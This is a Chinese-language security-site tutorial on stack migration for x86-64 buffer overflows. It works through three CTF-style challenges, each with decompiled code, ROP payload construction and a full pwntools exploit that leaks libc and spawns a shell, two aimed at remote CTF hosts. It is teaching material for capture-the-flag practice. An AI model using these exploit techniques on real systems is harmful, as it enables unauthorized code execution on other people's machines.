freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

一篇文章玩明白Stack-migration
蚁景科技 2021-12-22 15:16:12 159916
所属地 湖南省

前置知识

Intel汇编,栈溢出利用,基础rop链

Stack_migration介绍

当我们发现存在栈溢出漏洞,但是溢出字节非常小,比如0x10的时候我们就需要利用栈迁移,将栈迁移置足够大的区段去编写rop链

以达到我们利用的目的。为了方便教学,这里以CTF赛题的形式进行教学。

典例一 题目给出便于利用的bss段地址或栈地址

这里我用我出给自己校赛的一道题作为讲解,给出了栈的地址

int __cdecl main(int argc, const char **argv, const char **envp){char buf[208]; // [rsp+0h] [rbp-D0h] BYREputs(&s);puts("系统说罢,便将你渡入一方天地之中,只见天地之间一轮金日悬于九天之上,而在你面前是万里群山。\n");puts("钝日斩星剑就在这些山里,自己慢慢找吧,不过本系统可不想等太久,这个明神瞳就送你了!\n");printf("小子拿好了 :%p", buf);puts(&byte_400818);read(0, buf, 0xE0uLL);return puts("神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n");}

这里是刚好溢出了0x10,并且给出了当前变量所处的栈地址,对于这种题目,都是直接套路杀的,而且这题没有开启canary和pie

我们只需要和往常一样先编写好rop链,再利用leave命令把栈迁移到到所给的bss段或者栈地址上

payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)

第一次是泄露libc,第二次就是直接getshell

exp

# -*- coding: UTF-8 –*-from pwn import *r=process('./1')elf=ELF('./1')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')#context.log_level='debug'puts_got=elf.got['puts']puts_plt=elf.plt['puts']pop_rdi=0x0000000000400663leave=0x4005F8main=0x0400577ret=0x000000000040044er.recvuntil('小子拿好了 :')leak=int(r.recv(14),16)log.success('leak:'+hex(leak))payload='a'*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)payload+='a'*(0xd0-len(payload))+p64(leak)+p64(leave)r.recvuntil("搬山之术?\n")r.send(payload)r.recvuntil('神兵已得,接下来,就去手刃你的第一个仇人吧,万阳帝仙!\n')(r.recvuntil('\n'))leak1=u64(r.recv(6).ljust(8,'\x00'))log.success('leak1:'+hex(leak1))base=leak1-0x080aa0onegadget=[0x4f3d5,0x4f432,0x10a41c]sys=base+0x04f550one=onegadget[2]+basesh=0x1b3e1a+baser.recvuntil('小子拿好了 :')leak2=int(r.recv(14),16)log.success('leak2:'+hex(leak2))payload1='a'*8+p64(pop_rdi)+p64(sh)+p64(ret)+p64(sys)#payload1='a'*8+p64(one)payload1+='a'*(0xd0-len(payload1))+p64(leak2)+p64(leave)r.send(payload1)r.interactive()

典例二 题目开启了canary并且没有给定合理的地址

对于这种题目实际上只是迁移的地点要自己进行gdb调试(摁调)还有就是leave指令稍微加了点细节从read函数那下手

本质是和典例一没差别的,都是属于栈迁移。这里用一道自己写的demo作为教学

int __cdecl main(int argc, const char **argv, const char **envp){int i; // [rsp+Ch] [rbp-24h]char v6[24]; // [rsp+10h] [rbp-20h] BYREFunsigned __int64 v7; // [rsp+28h] [rbp-8h]v7 = __readfsqword(0x28u);init(argc, argv, envp);for ( i = 0; i <= 24; ++i ){if ( (unsigned int)read(0, &v6[i], 1uLL) != 1 || v6[i] == 10 ){v6[i] = 0;break;}}printf("your in put%s\n", v6);puts("give me another worlds!");pwnme();return __readfsqword(0x28u) ^ v7;}

在printf("your in put%s\n", v6);这可以泄露canary,我们接着去看pwnme函数

unsigned __int64 pwnme(){char buf[24]; // [rsp+0h] [rbp-20h] BYREFunsigned __int64 v2; // [rsp+18h] [rbp-8h]v2 = __readfsqword(0x28u);read(0, buf, 0x30uLL);return __readfsqword(0x28u) ^ v2;}

同样溢出0x10,但是这次没有给定便于利用的题目,所以我们直接自己手动寻找,用ida ctrl+s 寻找到bss段的起始地址

一般利用地址都是大于bss起始地址最少0x300,具体如何要看自己的题目情况去调试

这里最主要的一点是接下来要讲的关于read函数的部分汇编利用

.text:00000000004006FE                 lea     rax, [rbp+buf].text:0000000000400702                 mov     edx, 30h ; '0' ; nbytes.text:0000000000400707                 mov     rsi, rax       ; buf.text:000000000040070A                 mov     edi, 0         ; fd.text:000000000040070F                 mov     eax, 0.text:0000000000400714                 call    _read

正常像典例一我们不去开启canary,构造一个rop链最少都要0x20,这里开启了canary而且题目所给的变量长度只有0x20,可读入0x30

rop链构造完canary都不用填返回地址直接寄了,所以这里的要巧妙利用read的leave。

pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)

第一次先选中心仪的bss段把栈迁移上去,由于我们执行的汇编是在.text:00000000004006FE                 lea     rax, [rbp+buf]

当我们栈迁移完了此时还可以有一次读入的机会,这时候的读入地址就是我们选择的bss段地址。

此时我们就可以写入rop链达到libc泄露的目的

pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)pl = pl.ljust(24,'\x00')

得到libc之后直接恢复栈

pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)sleep(0.1)s(pl)

第一个是rip的地址第二个是用来填充rbp第三个是填充返回地址的,0x6015d8是通过调试之后得知的最后恢复栈的时候

命令的起始地址

pwndbg> stack 3000:0000│ rsp 0x6015c8 —▸ 0x400719 (pwnme+50) ◂— nop    01:0008│ rsi 0x6015d0 ◂— 0x0... ↓        2 skipped04:0020│     0x6015e8 ◂— 0x27ce95767da5b40005:0028│ rbp 0x6015f0 ◂— 0x006:0030│     0x6015f8 —▸ 0x40083b (main+171) ◂— nop    07:0038│     0x601600 ◂— 0x008:0040│     0x601608 —▸ 0x40083b (main+171) ◂— nop    09:0048│     0x601610 ◂— 0x27ce95767da5b4000a:0050│     0x601618 —▸ 0x6015d8 ◂— 0x00b:0058│     0x601620 —▸ 0x40072e (pwnme+71) ◂— leave  0c:0060│     0x601628 ◂— 0x0... ↓        17 skipped

我们可以继续结合汇编来看

.text:0000000000400831                 mov     eax, 0.text:0000000000400836                 call    pwnme.text:000000000040083B                 nop.text:000000000040083C                 mov     rax, [rbp+var_8].text:0000000000400840                 xor     rax, fs:28h.text:0000000000400849                 jz      short locret_400850.text:000000000040084B                 call    ___stack_chk_fail

rip执行mov     eax, 0返回地址在.text:000000000040083B                 nop把canary填充做一个修补(第一次泄露的时候已经破坏了)

恢复完栈帧我们利用恢复的时候顺带迁移会去的bss段再去写入onegadget就直接getshell了

exp

import timefrom pwn import *context.arch = 'amd64'context.log_level = 'debug'r = lambda : p.recv()rx = lambda x: p.recv(x)ru = lambda x: p.recvuntil(x)rud = lambda x: p.recvuntil(x, drop=True)s = lambda x: p.send(x)sl = lambda x: p.sendline(x)sa = lambda x, y: p.sendafter(x, y)sla = lambda x, y: p.sendlineafter(x, y)close = lambda : p.close()debug = lambda : gdb.attach(p)shell = lambda : p.interactive()p = process('./Stack_migration')#p=remote('101.43.94.145','28079')elf = ELF('./Stack_migration')libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")puts_got = elf.got['puts']puts_plt = elf.plt['puts']reread = 0x4006FEleave = 0x40072Ebss = 0x601600rdi = 0x00000000004008c3start = 0x400600s('a'*25)ru('a'*25)canary = u64('\x00'+rx(7))success(hex(canary))#p.recv()pl = 'a'*24+p64(canary)+p64(bss)+p64(reread)p.recv()s(pl)pl = p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(canary)+p64(bss+0x18)+p64(reread)pl = pl.ljust(24,'\x00')sleep(0.1)s(pl)pl = p64(0x400831)+p64(0)+p64(0x40083b)+p64(canary)+p64(0x6015d8)+p64(leave)sleep(0.1)s(pl)base = u64(ru('\x7f')[-6:].ljust(8,'\x00'))-libc.sym['puts']ogg = base+0x4f3d5pl = 'a'*24+p64(canary)+p64(0)+p64(ogg)s(pl)# debug()shell()

典例三 C++类的栈迁移

虽然线上赛不一定见得到,但是线下赛c++的趋势已经越来越明显了,不学c++你会失去很多你本该拿到的东西

这个也是我自己整理的一个demo,先看ida

int __cdecl main(int argc, const char **argv, const char **envp){__int64 v3; // rax__int64 v4; // rax__int64 v5; // rax__int64 v6; // raxchar s2[32]; // [rsp+0h] [rbp-20h] BYREFinit();do{v3 = std::operator<<<std::char_traits<char>>(&std::cout,"The new year is coming, and the naughty beast has come to the world again. As a brave pwner, please send it home");std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);v4 = std::operator<<<std::char_traits<char>>(&std::cout, "Little ones, throw up your firecrackers!!!!!!!");std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);std::operator>><char,std::char_traits<char>>(&std::cin, name);if ( strlen(name) > 0x10 ){v5 = std::operator<<<std::char_traits<char>>(&std::cout, &unk_4020B8);std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);exit(0);}getchar();v6 = std::operator<<<std::char_traits<char>>(&std::cout, "Do you wanna try again?");std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);std::istream::get((std::istream *)&std::cin, s2, 0x30LL);}while ( !strcmp("Y", s2) );return 0;}

不熟悉的人看可能感觉很乱,其实有些东西是可以不看的例如

std::operator<<<std::char_traits<char>>std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);

这些不过是c++自己的一些数据处理,我们要关注的是

std::operator<<<std::char_traits<char>>这个函数里面的参数,例如下面这个std::istream::get((std::istream *)&std::cin, s2, 0x30LL);cin输入,往s2输入0x30大小的内容,类比可以看出输出的语句

顺带提一嘴,c++的输入输出都是靠std::operator<<std::char_traits<char>这个函数实现的,实现内容区别就在于第一个参数

cout就是输出cin就是输入,后面的参数再添加对应的就是cout的内容或者cin的内容及大小

OK 我们回归正题,分析程序可以得知

v5 = std::operator<<std::char_traits<char>(&std::cout, &unk_4020B8);

可能存在栈溢出cin没有做大小限制,但是他是在往bss段读入东西,所以没有溢出的可能性

std::istream::get((std::istream *)&std::cin, s2, 0x30LL);

这里溢出了0x10,可以栈迁移

那么结合起来就是先往bss段构造rop,利用栈迁移执行就行了,至于if ( strlen(name) > 0x10 )这个检测,我们直接填入0字节就可以绕过

剩余的操作无非就和典例一是一样的,这里注意的是c++的函数参数填充关系即可

pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main)

填充0x900的junk code 用来绕过以及填充到合适的地方布局,ret*0x20用来抬栈,这个看情况而定,本题不抬栈会破坏栈结构无法正确的传入参数,rdi,cout,rsi,setbuf,0,std,main这里翻译过来就是如下

std(cout,setbuf.got,0) 返回地址是main。

以上操作泄露了libc直接乱杀了,第二次栈迁移就是直接构造getshell的rop链就行了

exp

from pwn import *#r=process('./boom')r=remote('47.107.51.210',6790)context.log_level='debug'context.arch = 'amd64'rdi=0x00000000004014c3rsi=0x00000000004014c1ret=0x00000000004014c4main=0x4012DAstd=0x401130setbuf=0x404018cout=0x4040C0bss=0x0404320leave=0x4013F8r.recv()pay=flat('\x00'*0x900,ret*0x20,rdi,cout,rsi,setbuf,0,std,main)r.sendline(pay)r.recv()pay=flat('\x00'*0x20,bss+0x900,leave)r.sendline(pay)r.recvuntil("Do you wanna try again?\n")libc=u64(r.recv(6)+b'\x00'*2)-0x087e60sys=libc+0x055410sh=libc+0x1b75aaprint(hex(libc))r.recv()pay=flat('\x00'*0x600,ret*0x20,rdi,sh,ret,sys,main)r.sendline(pay)r.recv()pay=flat('\x00'*0x20,bss+0x600,leave)r.sendline(pay)r.interactive()
# web安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 蚁景科技 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
web渗透
蚁景科技 LV.9
湖南蚁景科技有限公司主要从事在线教育平台技术研究及网络培训产品研发,专注网络空间安全实用型人才培养,全面提升用户动手实践能力。
  • 907 文章数
  • 675 关注者
蚁景科技荣膺双项殊荣,引领网络安全教育新潮流
2025-03-28
FlowiseAI 任意文件写入漏洞(CVE-2025–26319)
2025-03-27
路由器安全研究:D-Link DIR-823G v1.02 B05 复现与利用思路
2025-03-18
文章目录